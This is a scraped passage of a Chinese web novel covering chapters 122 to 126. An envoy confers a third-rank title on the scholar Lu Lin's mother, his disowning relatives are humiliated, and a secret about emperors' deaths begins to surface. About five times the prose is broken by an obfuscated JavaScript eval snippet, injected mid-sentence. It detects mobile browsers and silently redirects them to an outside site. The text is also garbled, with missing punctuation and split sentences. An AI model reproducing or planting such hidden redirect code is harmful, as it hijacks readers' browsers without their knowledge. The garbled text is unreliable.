姓名、年龄、籍贯等关键之处,都与圣上给的信息对得上。 他转头对身旁的副使说道。 “确认无误。” “卢案首的家,应该就在下河村,我们直接过去。” 说完,陈朋便带着队伍,浩浩荡荡地离开了县衙。 留下主簿站在原地,抬袖擦了擦额头的冷汗。 这可是京都来的钦差啊,还好,没出什么岔子。 自己这主簿的位置才刚坐热,要是第一天就出了纰漏,头上的乌纱帽怕是难保。 下河村 午后,村口歪脖子老槐树下,几个闲汉正凑在一起,有一搭没一搭地聊着天,唾沫星子横飞。 忽然,一阵密集的马蹄声,从官道的方向传来。 一名闲汉停下了吹嘘,侧耳听了听,有些疑惑地站起身,朝着村口望去。 只见一队人 马正沿着土路不紧不慢地向村子走来。 为首的两骑身披锃亮铠甲腰间佩刀寒光森森。 仅是对方随意扫过来的眼神就让闲汉们感觉脖子后面凉飕飕的。 两骑身后则一顶软轿几名身穿官服的人员簇拥在旁队伍后面还跟着敲锣打鼓地仪仗。 这是什么阵仗。 村里活了几十年谁也没见过这种场面。 队伍在槐树不远处停下。 陈朋从队伍中走出目光在村民身上扫了一眼: “此地可是下河村?” “是是官爷这里就是下河村。” 一个年纪稍长的村民壮着胆子躬着身子回答。 陈朋点了点头 “下河村卢家在何处?” 卢家? 村民们闻言一愣。 村里姓卢的有好几户可值得这等阵仗的…… 一个念头瞬间在所有人脑海里闪过。 难道是…… “官爷您说的是不是卢川卢老爷家?”有村民试探性地开口。 陈朋点了点头卢案首的祖父是卢川没错了。 见官爷点头村民们指着一个方向开口道: “官爷您顺着这条路一直往里走看到门口有棵歪脖子树的院子就是卢家了。” “有劳。” 陈朋道了声谢便转身回到队伍中。 很快队伍便在村民们若有所思的目光中敲锣打鼓地朝着指着的方向走去。 直到队伍的身影消失。 老槐树下的几个闲汉才反应过来。 “天爷啊!这这是报喜的队伍吧?” “看那阵仗肯定是!卢家老大这是考中了?” “不是说落榜了吗?我今天早上还听他家老婆子在河边抱怨呢!” “你懂什么!说不定是补录上了!这种事又不是没有过!” 最先开口的那个汉子一拍大腿脸上满是兴奋。 “走走走!快去看看!” “卢家这是要出贵人了!咱们得去沾沾喜气!” 说完他便快步朝着卢家老宅的方向小跑而去。 其余几人见状也纷纷跟上边 走边喊,把卢家老大中秀才的消息散了出去。 下河村本就不大,出了这种大事,都想瞧一瞧热闹。 不多时,田里干活的汉子,家里做饭的婆娘们一个个都放下了手里的活,三五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453171|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成群地朝着卢家老宅涌去。 村民一边走,一边聊着: “卢家老大不容易啊,考了这么多年,终于是考中秀才了! “我的乖乖,那可是秀才公啊!见了县太爷都不用下跪的! “可不是嘛!以后他家就不用交税了,卢老爷这回可算是熬出头了。 “卢家确实是读书的命啊,之前卢老爷二孙子,不也是吗?十几岁就下场科举了,可惜了 “有啥可惜的,到头来还不是卢家老大考中了吗?过去了可不兴提这事啊! 他们分不清报喜和传旨队伍的区别,只知道官府的人敲锣打鼓地来了,那必定是天大的好事。 与此同时 下河村,卢家老宅。 卢老爷子佝偻着身子坐在门槛上,有一搭没一搭抽着旱烟,眼神时不时望向院门外,时不时还唉声叹气。 哎,这日子,什么时候才是个头。 老大这次又没中。 家里那点余钱,眼瞅着就要见底了。 供老大读书几十年,就跟往无底洞里填土似的,连个响儿都听不见。 实在不行,就算了吧。 别再折腾了。 正当卢老爷以为今天等不到老大,准备回房休息之时。 大伯带着一身酒气晃晃悠悠地走进院子里。 一进院门,大伯就看到老爹那张长吁短叹,愁云惨淡的脸。 大伯心里咯噔一下,酒顿时醒了一大半。 这次又没考中,他哪敢在卢老爷面前多晃悠啊。 低着头,正准备偷摸溜回自己屋里。 却听到耳边传来一声呵斥:“站住。 大伯闻言身子一僵,硬着头皮转过身,挤出一个比哭还难看的笑。 卢老爷一看老大满身酒气的样子,又是长长的叹了口气,眼中尽是失望之色: “老大,要不.咱们就算了吧。 “咱们家,就不是那块读书的料。 “折腾了这么些年,也够了,家里实在是没钱再供你了。 大伯一见卢老爷这次一副下定了决心的样子,哪还顾得上心虚,连忙开口反驳: “爹! “儿子这次就是运气不好! 不读书,不科举,那不是要跟老三一样,一辈子在田里刨食? 那种苦日子,他一天都过不下去。 第122章 李氏,三品诰命夫人! 还没等大伯说完,卢老爷直接打断了他: “你哪次不是考前信誓旦旦,考后就说运气不好?” “认命吧,老大。” “咱们家,就出不了读书人,没那个命。” 大伯顿时急了: “谁说咱们卢家不是读书的料!” “璘哥儿十几岁就能当案首……” 话刚出口,大伯也意识到自己说错了话,连忙闭上了嘴。 院子里瞬间安静下来。 “璘哥儿” 卢老爷嘴里轻声念叨着,一边止不住地摇头。 是啊,好不容易出了一个璘哥儿。 可怎么就跟谋逆大罪扯上关系了呢。 还好当初跟老二一家断得快,不然整个卢家都得跟着搭进去。 那可是要诛九族的大罪啊。 难道我卢家是真没读书人的命不成? 罢了罢了。 大伯见老爷子态度没那么强硬了,还以为有了转机,想再挣扎一下,扑通一声跪倒在地上,抱着卢老爷的大腿: “爹,儿子这段时间在家里温书的表现,您也看在眼里。” “也就是这次同窗相召,才难得去一次县里。” “您再给儿子一次机会吧。” “这次真就是运气不好,儿子就差一名就中了秀才!” “而且这次虽然放榜了,但我听同窗的恩师说,事情可能有转机,说不定……说不定还有补录的机会。” 卢老爷还有些在璘哥儿的事中,没有回神,还没来得及回应,就听到外面传来一阵敲锣打鼓声。 锣鼓声由远及近,敲得卢老爷心里莫名烦躁。 这个时候,卢老爷哪有心情听别家的喜事啊。 正准备回屋,却听到锣鼓声直直地朝自家小院而来,卢老爷身子一顿,迈向屋内的脚又收了回来,转头看了过去。 大伯跪在地上的身子也是一僵,侧耳听了听,这锣鼓声分明是朝自家来的啊? 难不成真被自己说中了? 真补录了啊? 大伯哭丧的表情瞬间就变了,猛地从地上爬起来,几步冲到院门口,探头朝外望去。 只一眼,大伯的眼睛就直了。 而后激动地转 过头,冲着卢老爷高喊: “爹!” “补录了!我说中了!真的补录了!” 卢老爷闻言手里的旱烟杆顿在半空,眼中满是难以置信。 他几步走到院门口,顺着大伯手指的方向看去,整个人也愣住了。 只见一队官差敲锣打鼓,正朝着自家老宅的方向走来。 那阵仗,可不就是报喜的队伍吗。 卢老爷子浑身一颤,激动地抓住大伯的胳膊,嘴唇哆嗦着: “快!快去把你娘,把你三弟三弟妹都喊出来!” “快去!” 大伯重重点头,转身朝屋内走去。 这时,陈朋带着队伍走到院外,一眼就看到了门口站着的卢老爷。 陈朋是见过卢璘的样子的,虽然斗法时离得远,但卢案首当初和百圣平辈论交的风姿,可是深深地印在陈朋脑袋里。 眼前卢老爷眉眼,一看就和卢案首有七八分相似。 错不了,就是这家。 不过流程还是要走的,陈朋上前一步,脸上带着和善笑意开口问道: “可是卢老爷,讳曰川?” 卢老爷子连连点头,激动得话都说不囫囵。 “是是是,老朽就是卢川。” 还没等卢老爷子问出来意,陈朋便笑着拱了拱手。 “那就没错了。” “恭喜卢老爷,贺喜卢老爷。” “卢家家风淳厚,门楣兴旺,才能培养出如此麒麟之才啊。” 话音刚落,大伯已经搀扶着祖母,带着三叔三婶从屋里快步走了出来。 陈朋看到大伯,见他这般年纪,还以为是卢案首的父亲,便笑着对他点了点头。 听闻卢案首最重孝道,自己示好他爹娘说不定,真能从卢案首这求得一副墨宝啊! 一个简单的点头动作,却让卢老爷心中的猜测彻底坐实。 官爷都对着老大点头致意了! 错不了! 绝对是老大考中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453172|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了! 几十年的期盼,几十年的煎熬,这一刻都值了。 我卢家终于出了个读书人啊! 还得是老大啊! 卢老爷下意识地挺直了腰杆,望向大伯的眼神中满是赞许。 一颗心激动得快要从嗓子眼里跳出来但卢老爷还是想亲耳听到消息心里才能彻底踏实。 他搓着手声音略带颤抖。 “官爷敢问可是我家老大考中秀才了?” 陈朋闻言一愣。 考中秀才? 这卢家还真是家风鼎盛啊一个小小的农家不仅能出卢案首这等人还能再出一个秀才。 陈朋心中赞叹脸上笑容不减: “看来是双喜临门啊。” “本官在此一并恭喜卢老爷了。” 双喜临门? 卢老爷子和大伯等人闻言又是一愣。 哪来的双喜? 陈朋目光在院中扫了一圈却没看到卢璘的身影略带疑惑的开口: “卢案首呢?” “卢案首可是不在家中?” 卢案首? 大伯听到这三个字心里咯噔一下脑子有点懵。 哪个卢案首? 难不成…… 大伯心中瞬间升起一股极其不好的预感。 卢老爷却没想那么多他只听到了案首两个字还以为是自家老大不仅考中了秀才还一举夺得了案首。 这一下更是激动得满脸通红整个人都快站不稳了。 就在这时陈朋的声音再次响起: “哪位是卢案首的娘李氏?” “此次圣上感念卢案首斗法有功为我大夏读书人扬名特赏赐其母李氏三品诰命夫人。” 话音落下。 整个院子死一般的寂静。 敲锣打鼓之声还在耳边回响却又像是隔了千山万水。 卢老爷子的脑袋里嗡的一声 李氏。 三品诰命夫人。 大伯也彻底傻眼了。 璘哥儿不是犯了谋逆大罪吗? 怎么……怎么老二家的媳妇还能被封为三品诰命夫人? 第123章 富贵难沾! 话音落下。 整个院子,死一般的寂静。 陈朋看着院中卢家众人呆滞的反应,眉头微蹙。 正常人听闻圣恩,怎会是这幅样子? 难不成自己话说得太快,卢家人没听明白? 于是,陈朋清了清嗓子,放缓了语速,用最平实的话又重申了一遍: “卢案首,名曰卢璘。” “其祖,卢川。” “其父,卢厚。” “其母,李氏。” “圣上念其母教子有方,培养卢璘为国效力有功,特此封赏,封其母李氏为‘三品诰命夫人’。” “请问,哪位是卢案首的母亲,李氏?” 这一次,是真的听明白了。 卢老爷子脑袋里嗡的一声,眼前一黑,刚挺直腰杆,瞬间垮了下去。 不是老大考中了秀才? 是已经被自己从族谱上划掉,在县衙大堂上亲口断绝关系的孙儿璘哥儿。 是自己避之唯恐不及,生怕沾上谋逆大罪的老二一家啊? 大伯更是整个人僵在原地。 三品诰命夫人啊! 他不是傻子,读书几十年,比谁都清楚三品诰命夫人的分量。 这可是只有朝中三品以上大员的母亲或妻子,才有资格获得的封号。 见官要行礼,县令见了都要矮上半头。 连老二家的媳妇,都被封了三品诰命。 那璘哥儿,如今的是何等滔天富贵? 三叔三婶也彻底懵了,面面相觑,脑子一片空白。 不是说大伯考中秀才了吗? 怎么眨眼间,就变成了二嫂成了诰命夫人? 下一刻,三叔双腿一软,扑通一声跪倒在地,嚎啕大哭: “老天爷啊!” “璘哥儿璘哥儿真的发达了啊!” “我们却我们却.” 三品诰命夫人啊! 三叔想都不感谢,这等能光耀门楣,庇佑子孙的事,本该是他们卢家的。 如今,却和他们没有半点关系了。 不止是卢家的人听明白了。 院外围得里三层外三层的村民们,也终于从震惊中反应了过来,瞬间炸开了锅。 “我的天! 居然是卢老二家的儿子!” “不是说犯了谋逆大罪被**了吗?怎么还封赏了?” “你懂个屁!这都封诰命夫人了那罪名肯定是假的!人家这是出人头地了!” “我就说嘛卢老大那副德行尖嘴猴腮的哪像是能中秀才的样子!” “还是卢老二的儿子有出息!我早说了那孩子从小就机灵 议论声中连带着嘲讽一字不落地传进院里。 “可惜了卢老爷子有眼无珠啊。” “是啊亲孙子出息成这样他倒好跑去县衙把关系给断了这下好了吧一丁点光都沾不上了!” “哈哈哈真是笑**煮熟的鸭子都能让他给放飞了!” 村民的议论声毫不避讳陈朋自然也听得清清楚楚。 之前脸上一直挂着的和善笑意一点点消失不见。 脸色越发阴沉。 原来卢案首一家早已和本家断绝关系了啊。 怪不得是这副反应。 陈朋心中升起一股怒火这清河县的主簿当真是渎职! 如此重要的事情竟不在卷宗上注明害得自己对着一群毫不相干的人浪费口舌。 该死! 要是卢案首因此对自己印象大减岂不是没有机会求得墨宝了? 大伯眼看陈朋的脸色越发不对劲心里知道事情要糟也顾不上别的了慌忙上前一步想要挽回: “大人!大人您听我解释!” “璘哥儿是我亲侄子啊!我是他亲大伯一笔写不出两个卢字打断骨头还连着筋呢!” 陈朋冷冷地扫了一眼都不用自己开口身后一名侍卫会意上前一步“锵”的一声腰刀出鞘半寸。 刀光一闪。 大伯见状双腿一软整个人瘫倒在地。 陈朋冷笑一声半点好脸色都没给。 先前之所以好言好语不过是看在卢案首的面子上。 一旁卢老爷早已撑不住了整个人瘫靠在身后的门框上老泪纵横。 脑海里不受控制地浮现出月余之前在清河县衙大堂上的一幕幕。 都像刀子一样一刀一刀剜着卢老爷的心。 陈朋转过身,面向院外看热闹的村民,朗声道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453173|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸位乡亲,谁可知卢案首如今家在何处?” “带路者,赏银十两。” 话音刚落,人群中顿时一阵骚动。 十两银子。 这都够寻常农户一两年的嚼用了。 一个胆子大的村民挤出人群,脸上堆着笑,对着陈朋躬身行礼。 “官爷,这事儿我晓得。” “璘哥儿是柳府书童,想必在柳府能寻到,我给官爷您带路。” 陈朋闻言,点了点头,对着身后的侍卫使了个眼色。 侍卫会意,从怀中摸出一锭银子,抛给了那名村民。 村民手忙脚乱地接住,脸上乐开了花。 “多谢官爷赏!” 陈朋不再理会院子里失魂落魄的卢家人,转身一挥手。 “走,去县里。” 浩浩荡荡的队伍再次动了起来,敲锣打鼓地朝着村外走去。 可明明是喜庆的锣鼓声,听在卢家人耳中,却更不是滋味了。 院外的村民见没热闹可看,也三三两两地散了。 只留下卢家几人,歪七扭八地呆在小院中。 卢老爷顺着门框滑坐在地,止不住唉声叹气。 大伯见宣旨队伍走了,连忙从地上爬起来,望着院外,眼神闪烁。 好一会,才凑到卢老爷身边,脸上挤出笑容: “爹,老二家这是真的发达了。” “连圣上都下旨封赏了,这可是光宗耀祖的大好事啊。” “要不.要不我去县里看看?” 卢老爷缓缓抬起头,眼神茫然,没有开口。 大伯见状,还以为爹也是这个想法,继续开口道: “之前断绝关系,那也是无奈之举,是怕被谋逆大罪牵连,实在没办法啊。” “老二那个人您是知道的,最是心软,也最有孝心,我去好好跟他分说分说,他肯定能理解的。” “他肯定会同意咱们认回去的。” 一旁的三叔听到这话,也立刻来了精神。 “爹,大哥说得对,我也去!” “大哥一个人去,我怕他说不明白。” 大哥什么性格,三叔再清楚不过了,真要去县里有什么好处,指定一个人独吞,还得是自己跟着去保险。 第124章 卢门李氏 卢老爷闻言猛地抬起头,指着两个儿子的鼻子破口大骂: “你们两个没骨气的畜生!” “还有脸去?” “当初在公堂上,是谁第一个按的手印?” “现在看到老二家出息了,就想舔着脸凑上去?” 卢老爷气得浑身发抖,上气不接下气: “我这张老脸,今天算是丢尽了。” “以后在村里,还怎么抬得起头来?” 骂完,卢老爷子又重重地叹了口气,摆了摆手,踉踉跄跄地朝着屋里走去。 “我丢不起这个人。” 大伯看着卢老爷背影,撇了撇嘴。 脸面?脸面值几个钱? 能当饭吃,还是能当衣穿? 你们不去,正好。 大伯心里默默盘算着。 老二那个人,最是重感情,耳根子软。 只要自己过去哭诉一番,说说这些日子的不容易,他还能真把自己这个亲大哥拒之门外不成? 文庙街,卢记下水铺。 歇业月余的铺子,今日重新挂上了幌子。 旁人不知内情,只当是东家有事休息了两天。 实则是铺子转交给夫人后,并未派人接手,只在门上挂了块“东家有事,择日开业”的牌子。 等卢璘一家回来,又原封不动地将房契地契还了回来。 卢厚从夫人手上接过那份沉甸甸的契书时,眼眶都红了。 上午刚在柳府办妥了璘哥儿脱籍的事,下午便迫不及待地将铺子重新开了张。 熟悉的下水香味,再次飘满了整条小巷。 一个熟客端着大海碗,一边呼噜噜地吃着,一边含糊不清开口: “掌柜的,你可算开门了!” “少了你家的下水,我们这天天干活都没劲了。” “是啊,是啊,以后有什么事耽误了,至少店别歇啊,你夫妻两人留一个啊!” “以后可不兴再歇这么久了啊。” 熟客们久违地吃到卢记下水,一个个也有劲了。 卢厚闻言,脸上露出憨厚的笑容,手里的活计却没停。 看了一眼正在后厨处理食材的李氏,又看了一眼在旁边帮忙收拾桌子的璘哥儿,卢厚 心里踏实极了。 “不会了,之前家里出了点事,都处理妥了。” “往后啊,踏踏实实开门做生意。” 后厨,李氏将刚切好的配菜码放整齐,走了出来。 看着璘哥儿在店里忙前忙后的样子,李氏有些心疼。 “璘哥儿,这里不用你,你带小石头回家看书去。” 在李氏眼里,璘哥儿就该坐在书房里,手捧圣贤书,而不是在铺子里干杂活。 说完,转头又瞪了卢厚一眼。 “就你急,晚一天开张能死啊。” 卢厚嘿嘿一笑,也不反驳。 柜台后,一个扎着冲天辫的小脑袋探了出来,奶声奶气地反驳道:“娘,我才不回去呢,我要在店里学手艺。” 正是卢璘六岁的妹妹,卢钥,小名小石头。 卢厚和李氏去临安府之前,把小石头托付给夫人,如今也带回来了。 李氏被逗笑了,伸手点了点女儿的额头。 “你学个屁的手艺。” “你得学你哥,好好读书,钻研学问,以后当个女夫子。” 卢璘看着小石头被批评闷闷不乐,撅起了小嘴的可爱模样,也忍不住笑意: “娘,不妨事,整日坐着读书也闷,偶尔活动活动筋骨,也是好事。” 一家人正说笑着,一阵敲锣打鼓声忽然从街口传来。 店里的食客们纷纷抬头,朝着门外望去。 “哟,又有新店开张了?” “这阵仗可不小,吃完去瞧瞧热闹。” 小石头最好奇,一溜烟跑到店门口,踮着脚尖往外看了一眼。 很快又跑了回来,小脸上满是疑惑: “娘,好像是冲咱们家来的。” 卢璘闻言有些意外。 放下手中的抹布,正准备走出店门看个究竟。 一身青袍气度不凡的陈朋,已经带着浩浩荡荡的宣旨队伍,停在了卢记下水铺的门外。 铺子外,陈朋目光第一时间就落在刚走出来的卢璘身上。 眼前的卢璘,尽管穿着一身再普通不过的粗布短衫,却丝毫掩盖不住身上一股超然气质。 陈朋脑海里,瞬间浮现钦天监广场上那道引动百圣齐鸣,凭一己之力压 得西域佛门抬不起头的身影。 两道身影,在此刻缓缓重合。 陈朋心中感慨万千。 兜兜转转,总算是见到正主了。 陈朋站定身形,对着卢璘郑重地拱了拱手: “翰林院修撰陈朋,见过卢案首。” 铺子里,原本正在埋头吃饭的食客们,此刻也都停下了筷子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453174|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卢厚和李氏也从各自的忙碌中抬起头,满脸不解地望着门外这阵仗。 官威赫赫,仪仗森严。 这哪是新店开张,分明是官府来人了。 看这架势,还是京都来的大官。 食客们这才后知后觉地意识到,这热闹,怕是出在掌柜的家里了。 卢璘目光在陈朋一行人身上扫过,最后落在陈朋官袍上。 翰林院。 卢璘心中微动,京都又有事了? 他上前一步,不卑不亢地回了一礼。 “大人远道而来,不知所为何事?” 还没等陈朋开口回答,一道熟悉的身影就从队伍后面挤了出来,脸上满是藏不住的兴奋。 “璘哥儿!天大的好事啊!” “圣上给你娘加封了,是诰命夫人!”少爷迫不及待地抢先开口。 此言一出,满场皆惊。 铺子内外,所有看热闹的人都愣住了。 三品诰命夫人? 那不是戏文里才有的东西吗? 这下水铺的掌柜一家,到底是什么来头,竟能得圣上亲封? 李氏闻言,更是直接愣在了原地,好半天才反应过来,只当是少爷在拿自己开玩笑。 她擦了擦手,笑着打趣道: “少爷,您就别拿我寻开心了。” “我一个大字不识的村妇,哪门子的诰命夫人啊。” “等我们家璘哥儿以后考上了状元,那还差不多。” 李氏话音刚落,却见为首的那位官爷,正一脸郑重地看着自己,缓缓点了点头。 李氏脸上的笑容慢慢凝固。 难不成.少爷没开玩笑? 卢璘也有些意外,不过也反应过来了。 圣上的封赏居然落在自己娘的身上了。 见到了正主,陈朋没有多言,从身旁副使手中接过一卷明黄色的绸缎圣旨,双手展开。 “圣旨到!” 一声高喝,周围瞬间安静下来。 铺子里的食客,街上看热闹的百姓,有一个算一个,全都呼啦啦地跪了一地。 陈朋清了清嗓子,朗声宣读。 “朕惟教化之原,始自闺门;忠孝之节,实关风教。” “卢门李氏,贞顺承家,训成令子。其子卢璘克勤王事,屡效忠忱,是皆母仪所陶,庭训所致。” “兹特封为‘三品诰命夫人’,赐翟冠霞帔,岁禄三百石。” “钦此。” 第125章 凤冠霞帔 宣旨完毕,全场依旧保持安静。 陈朋小心翼翼地将圣旨卷好,双手递到早已呆若木鸡的李氏面前。 “圣上有感于夫人教子有方,为我大夏培养出卢案首这等麒麟之才,特此嘉奖。” “还请夫人接旨。” 李氏此刻大脑一片空白,下意识地喊了一声。 “璘哥儿……” 李氏望向卢璘,眼神里满是询问和无措 卢璘走上前,扶住母亲的胳膊,温声说道: “娘,圣上赏的,您安心接下便是。” 听到儿子的声音,李氏心中再无疑虑,脑袋里反复回荡着诰命夫人几个字,眼泪不自觉的就流了下来。 双手略微颤抖,从陈朋手上接过了圣旨。 陈朋捋须一笑,摆手让人把赏赐的物品一并取来。 一旁的小石头见李氏哭了,还以为是受了委屈,连忙从柜台后跑出来,抱住李氏的大腿,奶声奶气地冲陈朋开口道: “你这坏人,走开。” “我娘是我爹的夫人,才不是什么诰命夫人!” “娘,你别哭呀。” 童声一下就把现场的凝重气氛给破了,不少人闻言忍不住笑出了声。 卢璘也笑了笑,摸了摸妹妹的脑袋,对陈朋开口解释: “大人见谅,童言无忌。” 陈朋摆了摆手,脸上满是笑意。 “无妨,无妨。” 看着依旧有些懵懂的李氏,陈朋主动开口解释道:“夫人有所不知,这三品诰命夫人,乃是钦赐荣耀。” “自今日起,夫人便可穿戴凤冠霞帔,享朝廷岁禄三百石。” “见官不跪,百无禁忌。” “百年之后,夫人的德行事迹,更是要载入清河县地方志,流芳百世。” 话音落下,现场再次沸腾了。 “我的天!见官不跪?” “那不是比县太爷还厉害?” “这卢掌柜一家,到底是什么神仙人物啊!” 围观的人中,一个见多识广的行商满脸震惊地开口,为周围人解释起来。 “何止是比县太.县尊大人厉害!” “你们知道这三品诰命夫人意味着什么吗?” “那得是自家男人或者儿子,在朝中当上三品以上的大官,才有机会获得的封赏! “咱们大夏,每年的新科状元,授官也不过是从六品! “从六品爬到三品,那得是几十年官场沉浮,还得是祖坟冒青烟! “可以说,整个大夏,一年都未必能新封十个三品诰命夫人! “这是天大的荣耀啊! 听完这番解释,李氏才终于明白了这道圣旨的分量。 捂着嘴,豆大的泪水从脸上滑落,看着儿子,李氏眼中满是感动与骄傲。 “娘,等儿子以后给你挣个诰命夫人回来。 没想到,当初璘哥儿当初一句玩笑话,有朝一日,竟真的实现了。 陈朋见状,脸上笑意不减,对着身后一摆手。 立刻有两名侍卫抬着一个朱漆描金的箱子走了上来,小心翼翼地放在地上。 箱盖打开,满室生辉。 陈朋伸手从箱中取出一顶纯金打造的凤冠。 “夫人,这是圣上御赐的凤冠霞帔。 凤冠上金丝累就,点缀着珠宝,一只金凤口衔珠串,栩栩如生。 接着又拿出一件正红色的绸缎长袍,上面用金线绣着繁复的禽鸟纹样,华贵无比。 “此为霞帔,唯有命妇方可穿戴。 “还有这金花一对,佩于冠侧。 “金翟鸟簪,象征诰命身份。 陈朋事无巨细,将每一件配饰的用途都解释得清清楚楚。 紧接着,又从副使手中接过一份正式的文书与一方小巧的印章。 “此乃诰命敕书,以及夫人的专属印信。 李氏呆呆地看着眼前的敕书,上面的字她一个也不认识,下意识地接过,又立刻递给了身旁的卢璘。 卢璘接过敕书,目光一扫而过。 内容无非是些官样文章,先是盛赞了自己的功绩,而后又夸赞母亲“秉性柔嘉,克娴于内,是教子有方的典范。 说白了,就是一份荣誉证书。 这时,又有几名侍卫合力扛着一面巨大的牌匾走了过来。 牌匾黑底金字,龙飞凤舞地刻着四个大字。 “贞静贤淑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453175|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “此乃御赐牌匾,当 悬于府邸正门之上,以彰圣恩。”陈朋继续解释道。 随后,他又命人呈上一些轿衣、特制的伞盖等物,皆是命妇出行时才能动用的仪仗。 最后,陈朋才从袖中取出一只钱袋,又指了指门外几辆大车上装着的粮食。 “夫人,这是您三品诰命第一年的岁俸,纹银百两,胭脂米六十担。” “日后每年,夫人皆可凭诰命敕书与印信,前往县衙支取岁俸。” “自今日起,夫人见官不跪,若涉刑案,非经圣上允准,不得擅自审问。需先革除诰命,方可定罪。” 按理说,这些事根本不用陈朋来解释。 但陈朋没有丝毫不耐,自然是为了在卢璘面前留下个好印象,方便之后开口求取墨宝。 在柳府跟来的几个女眷的帮忙下,李氏换上了那一身凤冠霞帔。 当李氏从后厨走出来时,整个铺子内外,瞬间安静下来。 人靠衣装,佛靠金装。 换上三品诰命夫人全套行头的李氏,早已没了半分村妇的模样,眉宇间竟真有几分贵气。 卢厚整个人都看呆了,揉了揉眼睛,不敢相信,这还是自己婆娘吗? 小石头满眼小星星:“娘,你这也太美了,我也要穿。” 卢璘则走上前拉住母亲的手,带着李氏来到店外。 朝着京都的方向,郑重的拜谢: “草民卢璘,叩谢圣恩。” “民妇李氏,叩谢圣恩。” 待谢恩完毕,陈朋这才走到卢璘面前,神色一正。 “卢案首,圣上在下官临行前,还有几句话交代。” 卢璘起身,对着陈朋拱了拱手: “大人请讲。” 陈朋清了清嗓子,模仿着昭宁帝的口吻。 “朕观你文章有经纬之才,当专心治学,不可懈怠。” 说着,陈朋从袖中取出一件物事,递了过来。 这是一方通体温润的白玉镇纸,上面雕刻着栩栩如生的龙纹。 “这是朕读书时常用的龙纹镇纸,今日赐予你。望你时时看到此物,就如朕在身旁督促。” “朕在殿试等你。” 第126章 陇西郑氏 洛阳府,江州。 沈府老宅张灯结彩,门楣上高悬朱红灯笼。 为了庆祝沈老太爷荣归故里,流水席都摆了三天三夜,洛阳府有头有脸的人物都来讨了杯酒喝。 生前的谥,这是何等荣耀。 连带着整个沈氏族人,都脸上有光,腰杆子挺得直直的。 可当事人沈春芳,沈夫子脸上却没有半分笑意。 时值深夜,沈春芳独自站在廊下,望着深沉夜色,眉头紧锁。 这时,一道身影飘然落在院中,带着一身风尘。 沈春芳眼神猛地一亮,几步迎了上去,声音满是急切: “师兄。” “到底发生什么事了?” “你在信里说得那么严重,让我立刻来江州等你。” 来人正是王晋。 一路风尘仆仆,眉宇间带着疲惫,王晋没有立刻回答,点了点头,走进了沈春芳的书房。 直到房门关上,王晋随手布置了一个消音的小手段,这才缓缓吐出一口气: “我去过帝陵了。” “昭华的死,果然不对劲。” 沈春芳脸色凝重,师兄追查昭华公主的死因,已经很多年了。 这个结果,沈夫子早有预料。 可下一句,王晋口中说出的话,却让沈春芳大脑一片空白。 “不止是昭华。” “大夏历代帝王的死,都不对劲。” “全都是非正常死亡。” “什么?师兄你说的可是真的?”沈春芳身子猛地一震,瞳孔骤然收缩。 堂堂大夏九五之尊,非正常死亡? 这是何等骇人听闻之事? 为什么以前没有听到过半点端倪? “这是什么人能做到的?连我大夏太祖也”沈春芳感觉自己声音都有些发抖,这等惊天秘闻,别说他已经致仕了,哪怕还在朝堂,听到这等消息,恐怕也难以自持。 王晋叹了口气,无奈摇头。 尽管皇室将此事隐瞒得很深,史官的记载也语焉不详。 但王晋还是发现了端倪。 大夏开国至今,历七任帝王,当今圣上是第八任。 